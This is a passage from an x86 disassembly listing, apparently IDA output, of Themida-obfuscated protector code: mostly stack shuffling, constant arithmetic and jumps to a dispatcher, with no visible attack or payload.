esp, 4 mov [esp+1Eh+var_1E], edx push [esp+1Eh+var_1A] pop edx pop [esp+1Eh+var_1E] pop esp jmp loc_568E67 ; --------------------------------------------------------------------------- lodsd jmp loc_572778 ; --------------------------------------------------------------------------- loc_56D95B: ; CODE XREF: sub_562ABA-2E32j add esp, 4 add esi, 18134156h xor esi, 17D50AEh or esi, 1984578Ah jmp loc_571E70 ; --------------------------------------------------------------------------- loc_56D978: ; CODE XREF: sub_562ABA+10008j mov ebp, [esp+0] add esp, 4 jmp loc_56B5C5 ; --------------------------------------------------------------------------- loc_56D986: ; CODE XREF: sub_562ABA+13B6j sub eax, ecx mov ecx, [esp-0Ah+arg_4+2] add esp, 4 push 0D1Dh mov [esp-0Ah+arg_4+2], ebp jmp loc_56B405 ; --------------------------------------------------------------------------- loc_56D99E: ; CODE XREF: sub_56202E+Cj sub ebx, ecx pop ecx dec ebx push esi mov esi, 2A36BECh or esi, 5D955B5Bh shr esi, 4 sub esi, 0E1EAADBEh jmp loc_568636 ; --------------------------------------------------------------------------- loc_56D9BC: ; CODE XREF: sub_562ABA+D8DCj pop edi sub esp, 4 mov [esp-0Ah+arg_4+2], ebx mov ebx, 47863E05h dec ebx push edx mov edx, 0DC40CA0h jmp loc_564BC5 ; --------------------------------------------------------------------------- loc_56D9D4: ; CODE XREF: sub_562ABA+6C5Bj pop edx jmp loc_567E1B ; --------------------------------------------------------------------------- loc_56D9DA: ; CODE XREF: sub_562ABA+7FCj sub esp, 4 mov [esp+3Ah+var_3A], eax push ecx push 684D442Fh pop ecx jmp loc_567DE8 ; --------------------------------------------------------------------------- loc_56D9EF: ; CODE XREF: sub_562ABA+B1D9j add ebp, 4 jmp loc_567474 ; --------------------------------------------------------------------------- loc_56D9FA: ; CODE XREF: sub_562ABA+6F84j mov [esp+0Ah+var_C+2], ecx push 392Bh mov [esp+0], eax push ecx mov cl, dl push edx jmp loc_56E7DF ; --------------------------------------------------------------------------- loc_56DA0E: ; CODE XREF: sub_562ABA+BB35j push ebx sub esp, 4 mov [esp+1Eh+var_1E], edx mov dl, 0E8h jmp loc_561DEB ; --------------------------------------------------------------------------- loc_56DA1C: ; CODE XREF: sub_562ABA-4124j push esi push 7C3Eh push 632Fh mov [esp+26h+var_28+2], esp jmp loc_56D0D1 ; --------------------------------------------------------------------------- loc_56DA2F: ; CODE XREF: sub_562ABA+B06j pop ecx push ebx mov ebx, 0CF6ADE4Bh jmp loc_56CF4B ; --------------------------------------------------------------------------- loc_56DA3B: ; CODE XREF: sub_562ABA+842Bj push 53CBh jmp loc_56FDA2 ; --------------------------------------------------------------------------- loc_56DA45: ; CODE XREF: sub_55FCA5+421j and eax, esi pop esi and eax, 5C60126h shl eax, 4 jmp loc_560B67 ; --------------------------------------------------------------------------- loc_56DA55: ; CODE XREF: sub_562ABA+2013j xor ebx, [esp+40h+var_42+2] jmp loc_563135 ; --------------------------------------------------------------------------- loc_56DA5D: ; CODE XREF: sub_562ABA+1065j add esp, 4 push ebp jmp loc_568834 ; --------------------------------------------------------------------------- loc_56DA66: ; DATA XREF: Themida_:0055DFD0o push dword ptr [edi+1Ch] popf pop ax adc word ptr [esp+40h+var_42+2], ax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56DA76: ; CODE XREF: sub_562ABA-128Dj add ecx, ebx pop ebx add ecx, edi sub ecx, 77B12C79h mov edi, [esp+2Ah+var_2C+2] push eax mov eax, esp jmp loc_561684 ; --------------------------------------------------------------------------- loc_56DA8C: ; CODE XREF: sub_562ABA+FC55j mov edi, 4A981B63h jmp loc_5600CB ; --------------------------------------------------------------------------- loc_56DA96: ; CODE XREF: sub_562ABA+3020j push 4B9828F1h pop ecx not ecx xor ecx, 0B6AF93D0h mov edx, ecx pop ecx inc edx not edx shl edx, 7 push edx xchg edi, [esp+4Eh+var_4E] jmp loc_572C4D ; --------------------------------------------------------------------------- loc_56DAB6: ; CODE XREF: sub_562ABA-3EAAj add esp, 4 pop esi not esi sub esp, 4 mov [esp+2Ah+var_2C+2], edx push 63EFh jmp loc_55E7B9 ; --------------------------------------------------------------------------- loc_56DAD2: ; CODE XREF: sub_562ABA+98D3j not ebx inc ebx or ebx, 0DC16069h jmp loc_564E01 ; --------------------------------------------------------------------------- loc_56DAE0: ; CODE XREF: sub_562ABA+1B2j add ebx, eax jmp loc_55FF7F ; --------------------------------------------------------------------------- loc_56DAE7: ; CODE XREF: sub_562ABA-165Cj mov [esp+0], ecx mov ecx, 61D6535Eh add ebx, 62D35C55h sub ebx, ecx sub ebx, 62D35C55h mov ecx, [esp+0] push 306h mov [esp+12h+var_12], edx mov edx, esp add edx, 4 add edx, 4 jmp loc_564DAD ; --------------------------------------------------------------------------- loc_56DB18: ; CODE XREF: sub_562ABA+7F7Ej mov edx, [esp+1Ah+var_1A] jmp sub_56099B ; --------------------------------------------------------------------------- loc_56DB20: ; CODE XREF: Themida_:00571FDBj sub esp, 4 mov [esp+1Eh+var_1E], ecx mov ecx, esp push 2B78h mov [esp+22h+var_22], ebx mov ebx, 4 jmp loc_560A53 ; --------------------------------------------------------------------------- loc_56DB3D: ; CODE XREF: sub_562ABA+FE4Bj sub eax, 50A460BFh jmp loc_55FC62 ; --------------------------------------------------------------------------- loc_56DB47: ; CODE XREF: sub_562ABA+7830j push ebp pop edi pop ebp and edi, 3455550Dh add edi, 2D8A06D1h and edx, edi pop edi jmp loc_567775 ; --------------------------------------------------------------------------- loc_56DB5E: ; CODE XREF: sub_562ABA+772Aj push edx push ecx mov ecx, 0A5B4204h shr ecx, 7 add ecx, 0DEC957Bh mov edx, ecx pop ecx dec edx not edx shr edx, 3 sub edx, 633651EBh dec edx neg edx push ecx mov ecx, 559B062Bh neg ecx jmp loc_56FC2C ; --------------------------------------------------------------------------- loc_56DB8D: ; CODE XREF: sub_562ABA+6FADj add ecx, 4 sub ecx, 4 xchg ecx, [esp+0] pop esp mov [esp+2Ah+var_2C+2], ebp push ebp mov ebp, esp jmp loc_56EE6A ; --------------------------------------------------------------------------- loc_56DBA8: ; CODE XREF: sub_562ABA+39F3j push edx mov edx, esp add edx, 4 add edx, 4 push edx push [esp+3Eh+var_3A] jmp loc_56529C ; --------------------------------------------------------------------------- loc_56DBBE: ; CODE XREF: sub_562ABA+3B86j push esp pop edi push ecx mov ecx, 2AFC1407h xor ecx, 2AFC1403h add edi, 1BD105BEh jmp loc_561C99 ; --------------------------------------------------------------------------- loc_56DBD7: ; CODE XREF: sub_562ABA+4707j push eax mov eax, 121A28A4h jmp loc_55E0D4 ; --------------------------------------------------------------------------- loc_56DBE2: ; CODE XREF: sub_562ABA-29j sub ebx, 80EFD2CCh jmp loc_55EC4B ; --------------------------------------------------------------------------- loc_56DBED: ; CODE XREF: sub_562ABA+E9F3j sub esp, 4 mov [esp+26h+var_28+2], ebp push [esp+26h+var_22] pop ebp pop [esp+26h+var_28+2] jmp loc_5693E0 ; --------------------------------------------------------------------------- loc_56DC03: ; CODE XREF: sub_562ABA+FDF1j add ebx, 4 sub esp, 4 mov [esp+26h+var_28+2], edi jmp loc_56C894 ; --------------------------------------------------------------------------- loc_56DC17: ; CODE XREF: sub_562ABA+1357j xchg ebp, [esp+1Eh+var_1E] pop esp mov [esp+1Ah+var_1A], esi push [esp+1Ah+var_16] jmp loc_56F5F9 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+1Eh+var_1E] push ebp push esp mov ebp, [esp+26h+var_28+2] jmp loc_571F62 ; --------------------------------------------------------------------------- loc_56DC35: ; CODE XREF: Themida_:005623D6j mov ebp, esp push ebx push edx jmp loc_571453 ; --------------------------------------------------------------------------- loc_56DC3E: ; CODE XREF: sub_562ABA+8E6Dj sub ebx, ebp push [esp+1Eh+var_1E] pop ebp add esp, 4 mov dx, word ptr [esp+1Ah+var_1A] push 27AEh mov [esp+1Eh+var_1E], ebx mov ebx, esp push esi mov esi, 7F1F12C1h or esi, 71FC7515h and esi, 49907D27h add esi, 4D8F4EAEh neg esi push edi mov edi, 1 jmp loc_568170 ; --------------------------------------------------------------------------- loc_56DC7A: ; CODE XREF: sub_562ABA+F310j push 66E1h jmp loc_562C9B ; --------------------------------------------------------------------------- loc_56DC84: ; CODE XREF: sub_562ABA+DC77j mov ebp, [esp+2Ah+var_2C+2] add esp, 4 add ebp, 4 jmp loc_56D9EF ; --------------------------------------------------------------------------- loc_56DC98: ; CODE XREF: sub_562ABA+CB70j inc ebp not ebp not ebp push 2C43h mov [esp+2Ah+var_2C+2], ebx mov ebx, 749F3259h shl ebx, 5 not ebx shr ebx, 8 dec ebx xor ebx, 579B0782h add ebx, 0AA87B0F3h sub ebp, ebx pop ebx sub ebx, ebp pop ebp jmp loc_560621 ; --------------------------------------------------------------------------- loc_56DCCA: ; CODE XREF: sub_562ABA+4499j mov [esp+12h+var_12], ecx push eax mov ah, 24h mov cl, 0D5h jmp loc_56BBBA ; --------------------------------------------------------------------------- loc_56DCD7: ; CODE XREF: sub_562ABA+5B9Dj mov ch, 0E6h sub bl, ch pop ecx push [esp+0Ch+var_C] mov edx, [esp+10h+var_12+2] add esp, 4 jmp loc_56B5A1 ; --------------------------------------------------------------------------- push [esp+0Ch+var_C] mov eax, [esp+10h+var_12+2] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp+14h+var_16+2] jmp loc_568FBD ; --------------------------------------------------------------------------- loc_56DD07: ; CODE XREF: sub_562ABA+2054j add esi, 5265E017h add edi, esi pop esi add edi, ebx push ebx mov ebx, 52F83608h inc ebx add ebx, 0FCE72F0Eh sub edi, ebx jmp loc_572560 ; --------------------------------------------------------------------------- loc_56DD26: ; CODE XREF: sub_562ABA-4723j mov cl, 71h jmp loc_5632C2 ; --------------------------------------------------------------------------- loc_56DD2D: ; CODE XREF: sub_562ABA+4646j push [esp+4Ch+var_4E+2] pop ebx add esp, 4 push ecx mov cl, 19h shl cl, 4 jmp loc_56A79E ; --------------------------------------------------------------------------- loc_56DD3F: ; CODE XREF: sub_562ABA+5313j mov [esp+1Ch+var_1E+2], ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp+1Ch+var_1E+2] pop esp add bl, al push eax mov ah, 48h add bl, 30h sub bl, 1Eh sub bl, ah add bl, 1Eh sub bl, 30h mov eax, [esp+1Ch+var_1E+2] add esp, 4 movzx eax, al pop small word ptr [edi+eax*4] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56DD76: ; CODE XREF: sub_562ABA+2CCBj mov [esp+6+var_8+2], ebp mov ebp, esp add ebp, 4 jmp loc_56C3C9 ; --------------------------------------------------------------------------- loc_56DD86: ; CODE XREF: sub_562ABA+E416j pop ebx sub al, ch add al, 0F8h pop ecx add al, 15h sub al, 97h sub al, cl add al, 97h push edx push eax mov al, 15h push ebx push ecx jmp loc_560C25 ; --------------------------------------------------------------------------- loc_56DD9F: ; CODE XREF: sub_562ABA+2A6Fj add [esp+36h+var_36], 4 pop edi push eax mov eax, 32992781h xor eax, 32992785h add edi, eax pop eax add edi, 4 jmp loc_56CABD ; --------------------------------------------------------------------------- loc_56DDBA: ; CODE XREF: sub_562ABA+7E3Bj pop esp jmp loc_570083 ; --------------------------------------------------------------------------- loc_56DDC0: ; CODE XREF: sub_562ABA+9C50j mov esi, 66535ED3h push ebp jmp loc_55EC3F ; --------------------------------------------------------------------------- loc_56DDCB: ; CODE XREF: sub_562ABA+3E0j mov ebp, esp jmp loc_568FE3 ; --------------------------------------------------------------------------- loc_56DDD2: ; CODE XREF: sub_562ABA+5D87j not edi xchg edi, ebp xor ebp, 3AA31022h add ebp, 81196793h sub edx, ebp mov ebp, [esp+1Eh+var_1E] add esp, 4 add edx, esi jmp loc_56D6AF ; --------------------------------------------------------------------------- loc_56DDF4: ; CODE XREF: sub_562ABA+CF67j mov eax, 1C3A5943h jmp loc_560A72 ; --------------------------------------------------------------------------- loc_56DDFE: ; CODE XREF: sub_562ABA+498Dj push ebx mov ebx, 4 add edi, ebx jmp loc_5673CB ; --------------------------------------------------------------------------- loc_56DE0B: ; CODE XREF: sub_562ABA-DADj mov [esp+16h+var_16], ebx mov bl, 55h add cl, 18h add cl, bl sub cl, 18h pop ebx sub al, cl mov ecx, [esp+12h+var_12] add esp, 4 push edx push small 655Ch jmp loc_55E443 ; --------------------------------------------------------------------------- loc_56DE2B: ; CODE XREF: sub_562ABA+FD47j push edi mov edi, 4 sub ecx, edi pop edi xor ecx, [esp+14h+var_16+2] xor [esp+14h+var_16+2], ecx jmp loc_5620B4 ; --------------------------------------------------------------------------- loc_56DE3F: ; CODE XREF: sub_562ABA+3AA6j shl ebx, 1 xor ebx, 2DB80574h add ecx, ebx pop ebx push edx mov edx, 4 add ecx, edx jmp loc_56EED0 ; --------------------------------------------------------------------------- loc_56DE57: ; CODE XREF: sub_562ABA+1894j push 4FBFh mov [esp+50h+var_52+2], ebx mov ebx, 6D7B6193h sub ebx, 2FAB0E7Dh and ebx, 36DF4DC2h sub ebx, 0B867DDF8h jmp loc_569D83 ; --------------------------------------------------------------------------- loc_56DE7B: ; CODE XREF: sub_562ABA+4CFDj mov edi, 2 mov ebx, edi pop edi jmp loc_5650A9 ; --------------------------------------------------------------------------- loc_56DE88: ; CODE XREF: sub_562ABA+D185j xchg ebp, ecx not ebp jmp loc_571E57 ; --------------------------------------------------------------------------- loc_56DE91: ; CODE XREF: sub_55FCA5+3DBj push eax mov eax, esp push ebp mov ebp, 2C7A6EBAh shl ebp, 5 dec ebp or ebp, 10FF3AE3h neg ebp inc ebp jmp loc_570A96 ; --------------------------------------------------------------------------- loc_56DEAC: ; CODE XREF: sub_562ABA+353Dj mov edi, 4 sub edx, edi jmp loc_561A2D ; --------------------------------------------------------------------------- loc_56DEB8: ; CODE XREF: sub_562ABA+4BF8j push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp+0] mov esp, [esp+0] push edx push esi push 4 pop esi push esi xor [esp+1Ah+var_1A], 66066AAEh pop edx xor edx, 66066AAEh pop esi jmp loc_5614AD ; --------------------------------------------------------------------------- loc_56DEE9: ; CODE XREF: sub_562ABA+93B9j pop esp jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56DEEF: ; CODE XREF: sub_562ABA+ECB0j push [esp+2Ah+var_2C+2] pop edx add esp, 4 or eax, eax jz loc_55E567 push dword ptr [edi+1Ch] jmp loc_56EA05 ; --------------------------------------------------------------------------- loc_56DF09: ; CODE XREF: sub_55FCA5+122A5j push [esp+2Ah+var_2C+2] pop ebp add esp, 4 pop [esp+26h+var_28+2] mov esp, [esp+22h+var_22] btc word ptr [esp+22h+var_22], ax pushf jmp loc_56A75A ; --------------------------------------------------------------------------- loc_56DF21: ; CODE XREF: sub_562ABA+DB09j sub [esp+26h+var_1E], 575A5B70h jmp loc_57225B ; --------------------------------------------------------------------------- loc_56DF2E: ; CODE XREF: sub_562ABA+C1A4j mov edx, esp add edx, 4 push ebp mov ebp, 4 add edx, ebp mov ebp, [esp+2Ah+var_2C+2] add esp, 4 xchg edx, [esp+26h+var_28+2] mov esp, [esp+26h+var_28+2] mov ebx, eax jmp loc_565102 ; --------------------------------------------------------------------------- loc_56DF51: ; CODE XREF: sub_562ABA+A4BDj add edi, eax mov eax, [esp+1Ah+var_1A] jmp loc_55FD36 ; --------------------------------------------------------------------------- loc_56DF5B: ; CODE XREF: sub_562ABA+60D7j mov eax, ecx pop ecx add edx, eax pop eax jmp loc_56C73B ; --------------------------------------------------------------------------- loc_56DF66: ; CODE XREF: sub_562ABA+E221j xchg eax, ebp sub eax, 0FFFFFFFFh xchg eax, ebp shr ebp, 5 xor ebp, 13B0B419h add eax, 12EE40FCh add eax, ebp sub eax, 12EE40FCh pop ebp mov ebx, [esp+12h+var_12] push 69E2h jmp loc_5621F5 ; --------------------------------------------------------------------------- loc_56DF90: ; CODE XREF: sub_562ABA+A704j mov [esp+2Ah+var_2C+2], eax mov eax, 4 add edx, eax pop eax jmp loc_562E27 ; --------------------------------------------------------------------------- loc_56DFA0: ; CODE XREF: sub_562ABA+4765j add esp, 4 pop ebp jmp loc_56F45D ; --------------------------------------------------------------------------- loc_56DFA9: ; CODE XREF: sub_562ABA+51D3j sub eax, 73D19E1h jmp loc_55EBF4 ; --------------------------------------------------------------------------- loc_56DFB3: ; CODE XREF: sub_562ABA+C315j add esi, ebx pop ebx push ebx mov ebx, 2EEB56D7h jmp loc_56BC54 ; --------------------------------------------------------------------------- loc_56DFC1: ; CODE XREF: sub_562ABA+C6A7j add eax, 3F30E38h add eax, edx sub eax, 3F30E38h push [esp+3Eh+var_3E] pop edx add esp, 4 sub eax, 65D5761h push ebx mov ebx, 6F2D50C2h jmp loc_55FE19 ; --------------------------------------------------------------------------- loc_56DFE4: ; CODE XREF: sub_562ABA+4C38j mov [esp+26h+var_28+2], edx pop dword ptr [edi+20h] jmp loc_561A3A ; --------------------------------------------------------------------------- loc_56DFEF: ; CODE XREF: sub_562ABA+1631j push [esp+12h+var_12] pop esi add esp, 4 push ecx jmp loc_565F36 ; --------------------------------------------------------------------------- loc_56DFFC: ; CODE XREF: sub_562ABA-140Aj pop ebx add edx, 30B0995h sub edx, esi sub edx, 30B0995h pop esi jmp loc_563613 ; --------------------------------------------------------------------------- loc_56E011: ; CODE XREF: sub_562ABA+7C58j ror word ptr [esp-0Ah+arg_4+2], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56E01B: ; CODE XREF: sub_562ABA+D4Aj pop ecx add esp, 4 xchg edi, [esp+16h+var_16] mov esp, [esp+16h+var_16] idiv ecx push 15B0h mov [esp+1Ah+var_1A], edx jmp loc_56D39A ; --------------------------------------------------------------------------- lodsd add eax, 24DC5910h add eax, 4E2D4719h add eax, 57FB4557h sub eax, ebx jmp loc_571B97 ; --------------------------------------------------------------------------- loc_56E04E: ; CODE XREF: sub_562ABA+46Dj mov ecx, eax pop eax jmp loc_56A64A ; --------------------------------------------------------------------------- loc_56E056: ; CODE XREF: sub_562ABA+F68Bj sub [esp+1Ch+var_16+2], ebp jmp loc_5638CF ; --------------------------------------------------------------------------- loc_56E05F: ; CODE XREF: sub_562ABA+7AB0j pop ebp push ecx push ebp pop ecx pop ebp jmp loc_561074 ; --------------------------------------------------------------------------- loc_56E069: ; CODE XREF: sub_562ABA+2B97j and ebp, 14D5326Eh sub ebp, 6AE12CEBh sub ebp, 9570602h or ebp, 3E83356Ah jmp loc_55FA40 ; --------------------------------------------------------------------------- loc_56E086: ; CODE XREF: sub_562ABA+C91Cj shl edi, 8 jmp loc_57034F ; --------------------------------------------------------------------------- loc_56E08E: ; CODE XREF: sub_562ABA+FD8Aj not ecx jmp loc_568852 ; --------------------------------------------------------------------------- loc_56E095: ; CODE XREF: sub_562ABA+D26Ej mov ecx, 38266D02h dec ecx not ecx push edi mov edi, 54057336h jmp loc_56FB1A ; --------------------------------------------------------------------------- loc_56E0A8: ; CODE XREF: sub_562ABA+37B1j push 5F48h mov [esp+3Ch+var_3E+2], ecx jmp loc_560E06 ; --------------------------------------------------------------------------- loc_56E0B5: ; CODE XREF: sub_562ABA+26F3j mov edx, 3F895AACh sub esi, edx jmp loc_568F1A ; --------------------------------------------------------------------------- loc_56E0C1: ; CODE XREF: sub_562ABA+48F9j add dh, 0A0h mov cl, dh pop edx mov bl, cl pop ecx sub bl, 0CCh add bl, 0C3h jmp loc_570574 ; --------------------------------------------------------------------------- loc_56E0D5: ; CODE XREF: sub_562ABA+681Aj mov edi, 4 sub ebp, 3BAD527Ah jmp loc_56E561 ; --------------------------------------------------------------------------- loc_56E0E5: ; CODE XREF: sub_562ABA+90D5j mov bh, 5 push edx mov dl, 80h xor dl, 9Fh dec dl jmp loc_571D38 ; --------------------------------------------------------------------------- loc_56E0F4: ; CODE XREF: sub_562ABA+50DBj xor ecx, 0A8905BA8h sub ebx, 65A16606h sub ebx, ecx jmp loc_56492E ; --------------------------------------------------------------------------- loc_56E107: ; CODE XREF: sub_562ABA+BA42j inc esi xor esi, 0B689CD08h add edi, 6F7043F1h jmp loc_56369A ; --------------------------------------------------------------------------- loc_56E119: ; CODE XREF: sub_562ABA+5F7Cj mov esi, [esp+1Eh+var_1E] jmp loc_55F5E9 ; --------------------------------------------------------------------------- loc_56E121: ; CODE XREF: sub_562ABA-39CCj push eax mov eax, 0B6A013Fh sub ebx, eax push dword ptr [esp+0] pop eax add esp, 4 shl ebx, 3 push 272Ah mov [esp+0], ebx mov ebx, esp add ebx, 4 push ecx push esi push 29201E85h pop esi shl esi, 2 dec esi add esi, 76A3BC67h jmp loc_56E444 ; --------------------------------------------------------------------------- loc_56E15D: ; CODE XREF: sub_562ABA+3BD8j push ebx jmp loc_571F4F ; --------------------------------------------------------------------------- loc_56E163: ; CODE XREF: sub_562ABA+4A3Cj sub ecx, eax jmp loc_56E474 ; --------------------------------------------------------------------------- loc_56E16A: ; DATA XREF: Themida_:0055DDF8o push [esp+22h+var_22] push [esp+26h+var_28+2] jmp loc_5608E5 ; --------------------------------------------------------------------------- loc_56E175: ; CODE XREF: sub_562ABA+14EBj add esp, 4 sub esp, 4 mov [esp+50h+var_52+2], edx jmp loc_56BA90 ; --------------------------------------------------------------------------- loc_56E189: ; CODE XREF: sub_562ABA+6F1Ej push ecx push 7549555Dh pop ecx push esi mov esi, 4DB63EC8h jmp loc_567F3E ; --------------------------------------------------------------------------- loc_56E19B: ; CODE XREF: sub_562ABA+6BA4j mov ebx, esp push esi mov esi, 3901567Ah dec esi or esi, 6590FB2h push edi mov edi, 1 sub esi, edi pop edi push eax mov eax, 0FFFFFFFFh sub esi, eax pop eax shl esi, 1 push ebp push eax push 238A6125h pop eax push 0 sub [esp+26h+var_28+2], eax pop eax jmp loc_55E73D ; --------------------------------------------------------------------------- loc_56E1D4: ; CODE XREF: sub_562ABA+E916j add esp, 4 push eax push [esp+22h+var_1E] pop eax pop [esp+22h+var_22] pop esp btc word ptr [esp+1Ah+var_1A], ax pushf jmp loc_568EB5 ; --------------------------------------------------------------------------- loc_56E1EF: ; CODE XREF: sub_562ABA+4715j xor ebp, 0E2E424h mov ebx, ebp pop ebp sub ebp, 73C53402h add ebp, ebx add ebp, 73C53402h pop ebx xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] jmp loc_569E84 ; --------------------------------------------------------------------------- loc_56E215: ; CODE XREF: sub_5620A9+6j add eax, ebp mov ebp, [esp+0] jmp loc_56ADED ; --------------------------------------------------------------------------- loc_56E21F: ; CODE XREF: sub_55F660+2j mov ecx, 6EB33B78h mov ebp, 11EFE13h jmp loc_567502 ; --------------------------------------------------------------------------- loc_56E22E: ; CODE XREF: sub_562ABA+C989j add dl, ah mov ax, [esp+0] add esp, 2 add al, 97h sub al, 0DDh jmp loc_56A861 ; --------------------------------------------------------------------------- loc_56E240: ; CODE XREF: sub_562ABA+35CFj mov ebp, [esp+0Ah+var_C+2] add esp, 4 add esi, ecx pop ecx push 325h mov [esp+6+var_8+2], esi push [esp+6+var_4+2] pop esi pop [esp+6+var_8+2] mov esp, [esp+2+var_4+2] sar word ptr [esp+2+var_4+2], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- mov ecx, [esp+6+var_8+2] push 3654h mov [esp+0Ah+var_C+2], ebp jmp loc_568EF8 ; --------------------------------------------------------------------------- loc_56E276: ; CODE XREF: sub_562ABA+8AF1j mov edi, 4 add ecx, edi pop edi xchg ecx, [esp+1Eh+var_1E] jmp loc_55FC94 ; --------------------------------------------------------------------------- loc_56E286: ; CODE XREF: sub_562ABA+45D5j xor ch, 37h or dl, ch pop ecx push ecx sub esp, 4 mov [esp+8+var_8], edx mov dl, 1 not dl dec dl jmp loc_56CAD4 ; --------------------------------------------------------------------------- push [esp+8+var_8] push [esp+0Ch+var_C] push [esp+10h+var_12+2] mov eax, [esp+14h+var_16+2] jmp loc_566FE4 ; --------------------------------------------------------------------------- loc_56E2AF: ; CODE XREF: sub_562ABA+8750j sub ecx, 0E7A3D050h jmp loc_57030D ; --------------------------------------------------------------------------- loc_56E2BA: ; DATA XREF: Themida_:0055DDDCo push dword ptr [edi+3Ch] push 3266h jmp loc_563ACF ; --------------------------------------------------------------------------- loc_56E2C7: ; CODE XREF: sub_562ABA-6EDj push ax mov al, 56h xor bh, al jmp loc_5704EC ; --------------------------------------------------------------------------- loc_56E2D2: ; CODE XREF: sub_562ABA-2D5j mov eax, [esp+16h+var_16] add esp, 4 push esi jmp loc_567953 ; --------------------------------------------------------------------------- loc_56E2DE: ; CODE XREF: sub_562ABA+6BCDj shr eax, 10h xor eax, ecx jmp loc_56BE22 ; --------------------------------------------------------------------------- loc_56E2E8: ; CODE XREF: sub_562ABA+A0D0j pop edx push eax push ebp push edi jmp loc_567F8E ; --------------------------------------------------------------------------- loc_56E2F1: ; CODE XREF: sub_562ABA+B852j push eax push ebp mov ebp, 9C42CD3h mov eax, 5CFA4ADDh add eax, ebp mov ebp, [esp+3Eh+var_3E] jmp loc_569D8A ; --------------------------------------------------------------------------- loc_56E307: ; CODE XREF: sub_562ABA-EB5j mov eax, 0B07AF095h jmp loc_56E2F1 ; --------------------------------------------------------------------------- loc_56E311: ; CODE XREF: sub_562ABA+E507j mov ah, 51h sub bl, ah pop ax jmp loc_571F88 ; --------------------------------------------------------------------------- loc_56E31C: ; CODE XREF: sub_562ABA+F9CDj jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56E321: ; CODE XREF: sub_562ABA+BEF3j push esi jmp loc_5692D9 ; --------------------------------------------------------------------------- loc_56E327: ; CODE XREF: sub_55FCA5+D0j shl edx, 1 push ecx jmp loc_56D6A5 ; --------------------------------------------------------------------------- loc_56E32F: ; CODE XREF: sub_55FCA5+39Fj mov edx, 6528E88Ah jmp loc_565F44 ; --------------------------------------------------------------------------- loc_56E339: ; CODE XREF: sub_562ABA+B961j xor ebp, [esp+22h+var_22] jmp loc_569889 ; --------------------------------------------------------------------------- loc_56E341: ; CODE XREF: sub_562ABA+33B7j push [esp+16h+var_12] pop edi jmp loc_56F945 ; --------------------------------------------------------------------------- loc_56E34B: ; CODE XREF: sub_562ABA+3978j add esp, 4 mov ebp, edi pop edi and [edi+1Ch], ebp push [esp+26h+var_28+2] pop ebp add esp, 4 jmp loc_55FAD2 ; --------------------------------------------------------------------------- loc_56E360: ; CODE XREF: sub_562ABA-2860j pop ecx jmp loc_56790E ; --------------------------------------------------------------------------- loc_56E366: ; CODE XREF: sub_562ABA-10ACj pop edi add edi, 4 add edi, 4 jmp loc_55F02B ; --------------------------------------------------------------------------- loc_56E378: ; CODE XREF: sub_562ABA+39BAj mov edx, esp add edx, 4 push 0D2Dh mov [esp+3Ah+var_3A], ecx push 12A0h mov [esp+3Eh+var_3E], ebp mov ebp, 3A1A3259h sub ebp, 1 jmp loc_56411D ; --------------------------------------------------------------------------- loc_56E39D: ; CODE XREF: sub_562ABA-2027j push 0BFF2041h pop eax xor eax, 0F494D36Fh jmp loc_57052E ; --------------------------------------------------------------------------- loc_56E3AD: ; CODE XREF: sub_562ABA+EC25j push ecx mov ecx, esp add ecx, 4 push edx jmp loc_56FFC9 ; --------------------------------------------------------------------------- loc_56E3BC: ; CODE XREF: sub_562ABA+80E6j pop ebx add esi, 50521070h dec esi dec esi push eax jmp loc_56A095 ; --------------------------------------------------------------------------- loc_56E3CB: ; CODE XREF: sub_562ABA+8BA2j shr edx, 4 jmp loc_569287 ; --------------------------------------------------------------------------- loc_56E3D3: ; CODE XREF: sub_562ABA+C1C8j inc edi jmp loc_57116A ; --------------------------------------------------------------------------- loc_56E3D9: ; CODE XREF: sub_562ABA+C60Fj pop eax sub esp, 4 mov [esp+22h+var_22], eax push 48EDh mov [esp+26h+var_28+2], edi mov edi, 7C792CB3h push 2026h jmp loc_56C241 ; --------------------------------------------------------------------------- loc_56E3FA: ; CODE XREF: sub_562ABA+1EFAj movzx cx, al push cx pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56E406: ; CODE XREF: sub_562ABA+5E94j add eax, edi pop edi not eax and eax, 66D54DD9h jmp loc_56A731 ; --------------------------------------------------------------------------- loc_56E415: ; CODE XREF: sub_562ABA+D5A8j xor ebp, [esp+0Ah+var_C+2] xor [esp+0Ah+var_C+2], ebp jmp loc_56E339 ; --------------------------------------------------------------------------- loc_56E420: ; CODE XREF: sub_562ABA+92DFj pop esi add esp, 4 add ebx, 4 xor ebx, [esp+32h+var_32] xor [esp+32h+var_32], ebx xor ebx, [esp+32h+var_32] mov esp, [esp+32h+var_32] jmp loc_5665D4 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+32h+var_32] push edx mov edx, esp jmp loc_56E70B ; --------------------------------------------------------------------------- loc_56E444: ; CODE XREF: sub_562ABA+B69Ej mov ecx, esi jmp loc_56BC3B ; --------------------------------------------------------------------------- loc_56E44B: ; CODE XREF: sub_562ABA+99A0j mov edx, 36324FCAh jmp loc_560593 ; --------------------------------------------------------------------------- loc_56E455: ; CODE XREF: sub_562ABA+D6Fj mov [edx+38h], ebp push [esp-10h+arg_C] pop ebp add esp, 4 loc_56E462: ; CODE XREF: sub_562ABA+2A77j push 51F5h mov [esp-10h+arg_C], ebp mov ebp, 7DD115B4h jmp loc_569E9B ; --------------------------------------------------------------------------- loc_56E474: ; CODE XREF: sub_562ABA+B6ABj pop eax sub ecx, 4C560553h xor ecx, 7B699079h jmp loc_56887E ; --------------------------------------------------------------------------- loc_56E486: ; CODE XREF: sub_562ABA+D653j sub esp, 4 mov [esp+22h+var_22], edi jmp loc_5676D8 ; --------------------------------------------------------------------------- loc_56E491: ; CODE XREF: sub_562ABA+10C5j pop ecx xchg edx, [esp+46h+var_46] jmp loc_564AD2 ; --------------------------------------------------------------------------- loc_56E49A: ; CODE XREF: sub_562ABA+F43Aj mov esi, 51E47D27h jmp 